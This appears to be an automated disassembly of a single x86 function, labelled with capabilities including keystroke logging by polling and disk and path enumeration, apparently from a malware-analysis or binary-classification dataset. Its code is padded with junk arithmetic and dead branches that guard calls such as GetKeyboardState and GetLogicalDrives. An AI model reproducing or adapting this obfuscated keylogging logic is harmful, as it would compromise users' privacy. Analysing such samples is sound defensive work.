Function at 0x10019e69
Capabilities:
Get common file path
Get disk information
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
mov dword [ebp - 0x18], 0xd162c5d1
xor ebx, ebx
push esi
mov dword [ebp - 0x10], 0x45d764ce
push edi
mov dword [ebp - 0x20], 0xbebf0a0c
mov dword [ebp - 0x2c], 0xffffffff
push 2
mov dword [ebp - 8], 0xfff6
pop esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], 0x5df97f74
mov dword [ebp - 0x12c], edx
mov dword [ebp - 0x128], ecx
mov dword [ebp - 4], ebx
jmp 0x10019ec6
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x40], 0xe6f8
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x10019eb8
xor edi, edi
mov dword [ebp - 4], ebx
inc edi
jmp 0x10019ee1
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x80], 5
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x10019ed3
mov dword [ebp - 4], ebx
jmp 0x10019ef5
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x5c], ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x10019eeb
mov eax, dword [ebp - 8]
inc dword [ebp - 8]
cmp eax, 0x3fb18ba7
mov eax, edi
cmovge eax, ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jne 0x10019f72
mov eax, dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setge dl
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x80]
setl cl
sub ecx, eax
xor eax, eax
cmp ecx, 0x36eaf0ab
setne al
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x10]
setle cl
xor edx, edx
cmp ecx, eax
setle dl
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 8]
imul eax, edx
cmp eax, dword [ebp - 0x2c]
jge 0x10019f69
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x40]
mov ecx, edi
sub ecx, eax
mov eax, dword [ebp - 0x40]
neg ecx
push 3
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
imul eax, ecx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x5c]
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x40]
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, 0xffffffff
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x40]
setle cl
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, 0xfffffff6
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
setne cl
add ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], 0x94a1888
mov dword [ebp - 0x10], 0xffffffff
pop ecx
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], ebx
jl 0x1001a12b
mov dword [ebp - 0x20], 0x868b
mov dword [ebp - 0x18], 0x7aced45b
mov dword [ebp - 0x10], 0xd3c095b6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0x1ab4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0xc0]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 8]
jge 0x1001a0a9
mov edx, edi
cmp dword [ebp - 8], ebx
jne 0x1001a0ab
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 8]
push 3
setne cl
cmp ecx, edi
mov eax, dword [ebp + eax*4 - 0xc0]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0xbc]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 8]
setne bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0xb4]
imul eax, ebx
imul eax, eax, 0x6ca0
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor ebx, ebx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], ebx
pop ecx
jmp 0x1001a11d
mov dword [ebp - 0x1c], 0xfffffffb
dec dword [ebp - 0x1c]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x1001a110
dec dword [ebp - 8]
jns 0x1001a035
mov dword [ebp - 4], 0x860b4ffb
mov dword [ebp - 0x24], 0xd66c4a87
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x24], 0x33f2
mov dword [ebp - 0x18], ebx
jmp 0x1001a159
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x264], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1001a14c
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], esi
jg 0x1001a1b3
mov dword [ebp - 0x10], 0xdba33992
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], ebx
jl 0x1001a1a8
mov dword [ebp - 0x18], 0x95031536
xor ecx, ecx
mov dword [ebp - 0x1c], 0x17d0b0a3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
cmp edx, eax
setne cl
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 0x10]
jns 0x1001a175
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jle 0x1001a166
push 3
pop ecx
mov dword [ebp - 4], ebx
jmp 0x1001a1c8
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x1c], ecx
inc dword [ebp - 0x1c]
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jle 0x1001a1b8
mov dword [ebp - 0x28], 0xb036
mov dword [ebp - 0x24], 0x9fb1c038
mov dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x20], 0x39384257
mov dword [ebp - 0x18], ebx
jmp 0x1001a206
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x178], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001a1f5
mov byte [ebp - 9], bl
cmp byte [ebp - 9], 0
je 0x1001a22b
push 0x24b3
push 0x373
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
cmp dword [ebp - 0x28], ebx
je 0x1001a237
mov eax, dword [ebp - 0x1c]
mov edx, edi
jmp 0x1001a239
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
sete cl
sub ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0x9150
jl 0x1001a25d
mov eax, ebx
cmp dword [ebp - 0x178], ebx
je 0x1001a25f
mov eax, edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], 0xd162c5d1
mov dword [ebp - 8], 0xb55bb2c2
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x18], ebx
jmp 0x1001a28c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xec], 0x1f200025
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001a27b
mov dword [ebp - 8], 0x11
jmp 0x1001a37d
mov dword [ebp - 4], 0x8795010f
mov dword [ebp - 0x1c], 0xc6f44469
mov dword [ebp - 4], ebx
jmp 0x1001a371
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 8]
cmp eax, edi
setge cl
xor edx, edx
cmp ecx, 0xfffffffd
setne dl
add edx, dword [ebp - 8]
neg edx
sub edx, 0x7974498b
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 4]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 6
setne al
cmp eax, dword [ebp - 8]
jl 0x1001a2f7
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
cmp ecx, eax
mov eax, dword [ebp - 4]
setge dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xec]
cmp eax, edx
mov eax, dword [ebp - 4]
setl cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xec]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 4]
setg cl
xor edx, edx
cmp ecx, 0xddf3
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xec], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0xec]
mov eax, dword [ebp - 4]
cmp ecx, eax
setg dl
mov dword [ebp - 0x28], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jle 0x1001a2b4
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffeb
jge 0x1001a29e
mov dword [ebp - 0x10], 0x45d764ce
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x1c], 0x37d3709e
mov dword [ebp - 0x20], 0x53a81f6e
mov dword [ebp - 0x1c], 5
mov dword [ebp - 8], ebx
jmp 0x1001a3c4
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x58], 0xd02268f6
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x1001a3b6
mov dword [ebp - 8], ebx
jmp 0x1001a3df
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1c0], 0x21ebc5f9
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x1001a3ce
mov esi, dword [ebp - 4]
xor edx, edx
mov dword [ebp - 0x58], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp ecx, eax
mov eax, 0xfffe
setg dl
imul edx, dword [ebp - 4]
dec edx
cmp eax, edx
sbb eax, eax
xor edx, edx
neg eax
cmp esi, eax
mov eax, dword [ebp - 4]
setge dl
xor ecx, ecx
add edx, 0xe271
cmp edx, eax
setne cl
xor edx, edx
cmp ecx, 0x82f
setge dl
xor eax, eax
sub edx, 9
cmp edx, edi
setg al
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub eax, 0x4a4083d7
cmp edx, eax
setg cl
xor edx, edx
cmp ecx, 0x72010435
setg dl
xor ecx, ecx
mov dword [ebp - 0x1bc], edx
mov eax, dword [ebp - 4]
sub edx, eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cmp eax, 0x48e0
mov eax, dword [ebp - 4]
setne cl
xor edx, edx
cmp ecx, 0xfec1
setl dl
sub edx, 0x1177
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 4]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
cmp ecx, eax
setl bl
sub ebx, 0x565e
add ebx, dword [ebp - 4]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, 0x2964
setle dl
sub edx, dword [ebp - 4]
xor ecx, ecx
mov eax, dword [ebp - 4]
add edx, 0xc19c
cmp edx, eax
mov eax, dword [ebp - 4]
push 2
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 4]
pop esi
setge dl
sub edx, 6
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor ebx, ebx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x20], 0xbebf0a0c
mov dword [ebp - 4], 0x5546
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x1c], 0xefe35fe5
mov dword [ebp - 0x1c], 0x9cc02768
mov dword [ebp - 8], ebx
jmp 0x1001a54d
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x180], 0xfffffff6
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x1001a53c
mov dword [ebp - 8], ebx
jmp 0x1001a568
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x188], 0xf0027394
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x1001a557
mov ecx, dword [ebp - 4]
xor edx, edx
sub ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 4]
setge dl
sub eax, 0xc22c9208
neg eax
push 0xfffffffffffffffe
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x10]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne dl
xor ebx, ebx
cmp edx, eax
pop edx
setg bl
xor ecx, ecx
sub ebx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
dec ebx
cmp ebx, eax
mov eax, dword [ebp - 4]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 4]
cmp eax, 0x3b51ad5b
setg cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 4]
cmp eax, edx
mov eax, dword [ebp - 4]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 4]
setle dl
xor ecx, ecx
cmp edx, 0x77ba
setg cl
xor edx, edx
cmp ecx, eax
setge dl
sub edx, 0xfffffff6
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 4]
neg edx
sbb edx, edx
inc edx
xor ebx, ebx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 4], 0x7278
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x10], 9
push 3
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 8], ebx
pop edx
jmp 0x1001a67c
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1e4], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x1001a66b
mov dword [ebp - 8], ebx
jmp 0x1001a693
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x21c], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x1001a686
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jne 0x1001a6ad
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
sub eax, 0xd8c6
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 8], 0xfff6
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1001a72c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x234], 0xec0ae971
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001a71b
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], ebx
jl 0x1001a74d
mov byte [ebp - 9], bl
cmp byte [ebp - 9], bl
je 0x1001a748
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
dec dword [ebp - 0x20]
jns 0x1001a739
mov byte [ebp - 9], bl
cmp byte [ebp - 9], bl
je 0x1001a760
push 0x4d0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov dword [ebp - 0x24], 0x5df97f74
mov dword [ebp - 0x24], 0xc05baf43
mov byte [ebp - 9], bl
cmp byte [ebp - 9], bl
je 0x1001a782
push 0x510
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 9], bl
cmp byte [ebp - 9], bl
je 0x1001a790
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 4], ebx
jmp 0x1001a7a3
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x48], 0xe6f8
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x1001a795
mov dword [ebp - 0x1c], 0x3292c5eb
mov dword [ebp - 0x18], ebx
jmp 0x1001a7be
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001a7b4
mov dword [ebp - 0x78], ebx
jmp 0x1001a818
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], 0x34f09465
mov dword [ebp - 0x10], 0xfffffff8
jmp 0x1001a809
mov dword [ebp - 0x18], ebx
jmp 0x1001a7ea
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x34], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1001a7e0
mov dword [ebp - 0x34], 0x12
jmp 0x1001a800
cmp dword [ebp - 0x34], ebx
jne 0x1001a806
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jg 0x1001a7f8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xe
jge 0x1001a7db
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x78]
cmp dword [ebp - 0x78], 0xfffffffa
jl 0x1001a7c8
mov dword [ebp - 4], ebx
jmp 0x1001a831
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x68], 5
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x1001a823
mov dword [ebp - 4], ebx
jmp 0x1001a845
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x70], ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x1001a83b
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x2c], 0xd49fcfbc
mov dword [ebp - 0x18], ebx
jmp 0x1001a871
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1fc], 0x5cefd06b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001a860
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x10], ebx
jne 0x1001a88c
cmp dword [ebp - 0x2c], ebx
jne 0x1001a88c
cmp dword [ebp - 0x10], ebx
je 0x1001a88e
mov eax, edi
xor ecx, ecx
cmp eax, 0xfffffffc
mov eax, dword [ebp - 0x10]
setg cl
xor edx, edx
cmp ecx, eax
push 0
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setne cl
sub ecx, eax
mov dword [ebp - 0x1f4], ecx
mov ecx, dword [ebp - 0x10]
pop eax
setne al
sub ecx, eax
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov byte [ebp - 9], bl
cmp byte [ebp - 9], bl
je 0x1001a8e4
push ebx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [ebp - 8]
inc dword [ebp - 8]
cmp eax, 0x3fb18ba7
mov eax, edi
cmovge eax, ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jne 0x1001a95c
mov eax, dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x68]
setl cl
sub ecx, eax
xor eax, eax
cmp ecx, 0x36eaf0ab
setne al
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x10]
setle cl
xor edx, edx
cmp ecx, eax
setle dl
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 8]
imul eax, edx
cmp eax, dword [ebp - 0x28]
jge 0x1001a953
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
mov ecx, edi
sub ecx, eax
mov eax, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setge cl
imul eax, ecx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x70]
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x48]
cmp eax, edx
mov eax, dword [ebp - 0x30]
setge cl
xor edx, edx
cmp ecx, 0xffffffff
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x48]
setle cl
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x70]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ecx, 0xfffffff6
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], 9
mov dword [ebp - 0x14], ebx
jmp 0x1001aa02
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x120], 0xd7f825e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001a9f1
mov dword [ebp - 8], ebx
cmp dword [ebp - 8], esi
jg 0x1001aacb
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x1c], 0x2184e5a9
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], ebx
jl 0x1001aa52
mov byte [ebp - 9], bl
cmp byte [ebp - 9], 0
je 0x1001aa3d
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov byte [ebp - 9], bl
cmp byte [ebp - 9], 0
je 0x1001aa4d
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
dec dword [ebp - 0x10]
jns 0x1001aa2a
mov eax, dword [ebp - 8]
xor ebx, ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x10]
cmp eax, 0x57257ea0
mov eax, dword [ebp - 8]
setl bl
xor edx, edx
push 0
imul ebx, dword [ebp + eax*4 - 0x120]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
cmp ecx, eax
mov eax, dword [ebp - 8]
setne dl
xor ecx, ecx
cmp ebx, edx
pop ebx
mov eax, dword [ebp + eax*4 - 0x120]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 8]
setg dl
xor ecx, ecx
imul edx, dword [ebp + eax*4 - 0x120]
mov eax, dword [ebp - 0x120]
imul edx, eax
mov eax, dword [ebp - 8]
cmp edx, eax
sete cl
mov dword [ebp - 0x11c], ecx
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jle 0x1001aa14
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 9], bl
cmp byte [ebp - 9], 0
je 0x1001aae4
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0x24], ebx
mov byte [ebp - 9], bl
cmp byte [ebp - 9], 0
je 0x1001ab14
push 0xa5c
push 0x1ac4
push 0x2359
push 0x26fe
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
mov byte [ebp - 9], bl
cmp byte [ebp - 9], 0
je 0x1001ab26
call esi
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 7
pop eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], 0xb0a3
mov dword [ebp - 0x20], 0x78539aea
mov dword [ebp - 4], ebx
jmp 0x1001ab53
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x104], 0xd085c9e5
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x1001ab42
mov dword [ebp - 4], ebx
jmp 0x1001ab68
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x74], ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x1001ab5e
mov dword [ebp - 4], ebx
jmp 0x1001ab7c
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x54], ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x1001ab72
mov dword [ebp - 4], ebx
jmp 0x1001ab97
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa8], 0xfffe
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x1001ab86
mov dword [ebp - 4], ebx
jmp 0x1001abb3
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x124], 0x55505f45
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x1001aba2
mov eax, dword [ebp - 0x28]
inc eax
jne 0x1001ac15
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x74], ecx
mov eax, dword [ebp - 0x10]
sub ecx, eax
je 0x1001abdc
mov eax, dword [ebp - 0x28]
sub eax, 0x7342
cmp eax, 0xffff
mov eax, edi
jne 0x1001abde
mov eax, ebx
mov edx, dword [ebp - 0x54]
xor ecx, ecx
imul edx, dword [ebp - 0x10]
imul edx, eax
mov eax, dword [ebp - 0xfc]
cmp edx, eax
mov eax, dword [ebp - 0x54]
setne cl
add eax, ecx
je 0x1001abff
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x104]
add eax, dword [ebp - 0xa8]
inc dword [ebp - 0xa8]
test eax, eax
je 0x1001ac1c
mov eax, edi
cmp dword [ebp - 0x28], ebx
jne 0x1001ac1e
mov eax, ebx
mov dword [ebp - 0x10], eax
xor edx, edx
mov eax, dword [ebp - 0x10]
push 0xfffffffffffffff9
pop eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0xa8]
cmp ecx, eax
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x20]
setg dl
add ecx, edx
xor edx, edx
cmp ecx, eax
push 3
setl dl
xor eax, eax
cmp edx, 0xd184
pop edx
setl al
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x100]
mov dword [ebp - 0x20], eax
